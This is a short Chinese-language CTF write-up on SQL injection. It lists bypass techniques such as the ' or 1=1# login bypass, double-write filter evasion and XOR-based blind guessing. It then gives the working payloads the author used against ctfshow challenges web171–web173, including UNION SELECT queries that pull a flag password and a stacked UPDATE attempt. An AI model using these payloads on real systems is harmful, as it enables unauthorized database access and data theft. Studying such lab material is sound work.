SQL 注入
| 2023-3-27
0  |  Read Time 0 min

方法

  • 万能密码 ' or 1=1#
  • MySQL 的注释有 --
  • 猜表名,使用 like 猜 %flag% 配合 substr,利用 information_schema,updatexml
  • MySQL双写绕过
  • 括号去空格,比如 or 1=1 #改为or(1=1)#
  • id 参数的异或,利用返回来匹配比如 1^1^(length(database()) == {}) 来猜测长度,再猜测数据库名
  • MySQL 的函数,ascii substr database

web171

该处由 where username != 'flag' 可以大致判断出我们需要寻找一个username为flag的数据,而输入用户id 25又无法找到数据,所以我们可以直接构造一个或判断,让username就等于flag,就可以拿到。
payload: 25' or username = 'flag
notion image

web172

代码

$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

设想

  • 先将所在 username 修改掉 (好像update行不通)
  • 可以用UNION将select中的username字段给替换成自定义字符串

做题

尝试修改

UPDATE ctfshow_user2 SET username='boom' WHERE username='flag' (不可行)
payload: 66666666'; UPDATE ctfshow_user2 SET username='boom' WHERE username='flag'; --

尝试使用union

返回的数据中通过union将username中的flag替换掉。
union select 1,password from ctfshow_user2 where username='flag';
payload: 16666' union select 1,password from ctfshow_user2 where username='flag'; --
 

web173

做题

尝试
16666' union select id,1,password from ctfshow_user2 where username='flag'; -- 无果,提示密码 not_here
草,原来是表名改成了ctfshow_user3。。。
payload: 16666' union select id,1,password from ctfshow_user3 where username='flag'; --

web174

做题

参考资料

  • concat 用法,基本函数 database() 等
  • GitTalk
Catalog